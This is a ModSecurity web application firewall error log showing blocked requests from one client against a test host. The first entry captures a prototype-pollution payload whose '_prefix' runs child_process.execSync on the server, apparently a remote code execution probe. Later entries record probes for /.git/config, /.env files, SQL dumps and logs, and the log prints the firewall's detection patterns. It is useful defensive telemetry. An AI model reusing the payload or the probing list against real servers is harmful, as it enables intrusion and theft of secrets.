[tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aWS3g8uCkgRo958sQERh3gAAAAc"]
[Mon Jan 12 09:57:39.513048 2026] [:error] [pid 1362231] [client 35.180.31.174:45180] [client 35.180.31.174] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aWS3g8uCkgRo958sQERh3gAAAAc"]
[Mon Jan 12 09:57:39.514194 2026] [:error] [pid 1362231] [client 35.180.31.174:45180] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aWS3g8uCkgRo958sQERh3gAAAAc"]
[Mon Jan 12 09:57:39.514369 2026] [:error] [pid 1362231] [client 35.180.31.174:45180] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aWS3g8uCkgRo958sQERh3gAAAAc"]
[Mon Jan 12 12:31:50.841123 2026] [:error] [pid 1355925] [client 35.180.31.174:33204] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWTbpk7thAymmecRvtl0PQAAAAI"]
[Mon Jan 12 12:31:50.841372 2026] [:error] [pid 1355925] [client 35.180.31.174:33204] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWTbpk7thAymmecRvtl0PQAAAAI"]
[Mon Jan 12 12:31:50.841545 2026] [:error] [pid 1355925] [client 35.180.31.174:33204] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWTbpk7thAymmecRvtl0PQAAAAI"]
[Mon Jan 12 12:31:50.921082 2026] [:error] [pid 1355924] [client 35.180.31.174:33236] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWTbptIpinFXoPzDav5wYwAAAAE"]
[Mon Jan 12 12:31:50.921297 2026] [:error] [pid 1355924] [client 35.180.31.174:33236] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWTbptIpinFXoPzDav5wYwAAAAE"]
[Mon Jan 12 12:31:50.921447 2026] [:error] [pid 1355924] [client 35.180.31.174:33236] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWTbptIpinFXoPzDav5wYwAAAAE"]
[Mon Jan 12 12:31:51.081791 2026] [:error] [pid 1358564] [client 35.180.31.174:33288] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aWTbpx_UgGRJ4jDk47tQaQAAAAY"]
[Mon Jan 12 12:31:51.082126 2026] [:error] [pid 1358564] [client 35.180.31.174:33288] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aWTbpx_UgGRJ4jDk47tQaQAAAAY"]
[Mon Jan 12 12:31:51.082844 2026] [:error] [pid 1358564] [client 35.180.31.174:33288] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aWTbpx_UgGRJ4jDk47tQaQAAAAY"]
[Mon Jan 12 12:31:51.170509 2026] [:error] [pid 1362231] [client 35.180.31.174:33322] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "aWTbp8uCkgRo958sQERiFAAAAAc"]
[Mon Jan 12 12:31:51.170815 2026] [:error] [pid 1362231] [client 35.180.31.174:33322] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "aWTbp8uCkgRo958sQERiFAAAAAc"]
[Mon Jan 12 12:31:51.170978 2026] [:error] [pid 1362231] [client 35.180.31.174:33322] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "aWTbp8uCkgRo958sQERiFAAAAAc"]
[Mon Jan 12 12:31:51.249712 2026] [:error] [pid 1356126] [client 35.180.31.174:33356] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "aWTbpzv8xyMiuvwfNnljzgAAAAU"]
[Mon Jan 12 12:31:51.250016 2026] [:error] [pid 1356126] [client 35.180.31.174:33356] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "aWTbpzv8xyMiuvwfNnljzgAAAAU"]
[Mon Jan 12 12:31:51.250166 2026] [:error] [pid 1356126] [client 35.180.31.174:33356] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "aWTbpzv8xyMiuvwfNnljzgAAAAU"]
[Mon Jan 12 12:31:51.329422 2026] [:error] [pid 1355923] [client 35.180.31.174:33386] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aWTbpyE1xEBhFyXickXrggAAAAA"]
[Mon Jan 12 12:31:51.329722 2026] [:error] [pid 1355923] [client 35.180.31.174:33386] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aWTbpyE1xEBhFyXickXrggAAAAA"]
[Mon Jan 12 12:31:51.329873 2026] [:error] [pid 1355923] [client 35.180.31.174:33386] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aWTbpyE1xEBhFyXickXrggAAAAA"]
[Mon Jan 12 12:31:51.731132 2026] [:error] [pid 1355924] [client 35.180.31.174:33518] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aWTbp9IpinFXoPzDav5wZAAAAAE"]
[Mon Jan 12 12:31:51.731475 2026] [:error] [pid 1355924] [client 35.180.31.174:33518] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aWTbp9IpinFXoPzDav5wZAAAAAE"]
[Mon Jan 12 12:31:51.731650 2026] [:error] [pid 1355924] [client 35.180.31.174:33518] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aWTbp9IpinFXoPzDav5wZAAAAAE"]
[Mon Jan 12 12:31:51.896627 2026] [:error] [pid 1358564] [client 35.180.31.174:33542] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aWTbpx_UgGRJ4jDk47tQagAAAAY"]
[Mon Jan 12 12:31:51.896852 2026] [:error] [pid 1358564] [client 35.180.31.174:33542] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aWTbpx_UgGRJ4jDk47tQagAAAAY"]
[Mon Jan 12 12:31:51.897004 2026] [:error] [pid 1358564] [client 35.180.31.174:33542] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aWTbpx_UgGRJ4jDk47tQagAAAAY"]
[Mon Jan 12 12:31:51.981283 2026] [:error] [pid 1362231] [client 35.180.31.174:33560] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/log/error.log"] [unique_id "aWTbp8uCkgRo958sQERiFQAAAAc"]
[Mon Jan 12 12:31:51.981585 2026] [:error] [pid 1362231] [client 35.180.31.174:33560] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/log/error.log"] [unique_id "aWTbp8uCkgRo958sQERiFQAAAAc"]
[Mon Jan 12 12:31:51.981756 2026] [:error] [pid 1362231] [client 35.180.31.174:33560] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/log/error.log"] [unique_id "aWTbp8uCkgRo958sQERiFQAAAAc"]
[Mon Jan 12 12:31:52.063320 2026] [:error] [pid 1356126] [client 35.180.31.174:33580] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWTbqDv8xyMiuvwfNnljzwAAAAU"]
[Mon Jan 12 12:31:52.063508 2026] [:error] [pid 1356126] [client 35.180.31.174:33580] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWTbqDv8xyMiuvwfNnljzwAAAAU"]
[Mon Jan 12 12:31:52.063654 2026] [:error] [pid 1356126] [client 35.180.31.174:33580] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWTbqDv8xyMiuvwfNnljzwAAAAU"]
[Mon Jan 12 12:31:52.392306 2026] [:error] [pid 1365295] [client 35.180.31.174:33640] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWTbqA7npFhQv7HWuOadbwAAAAo"]
[Mon Jan 12 12:31:52.392500 2026] [:error] [pid 1365295] [client 35.180.31.174:33640] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWTbqA7npFhQv7HWuOadbwAAAAo"]
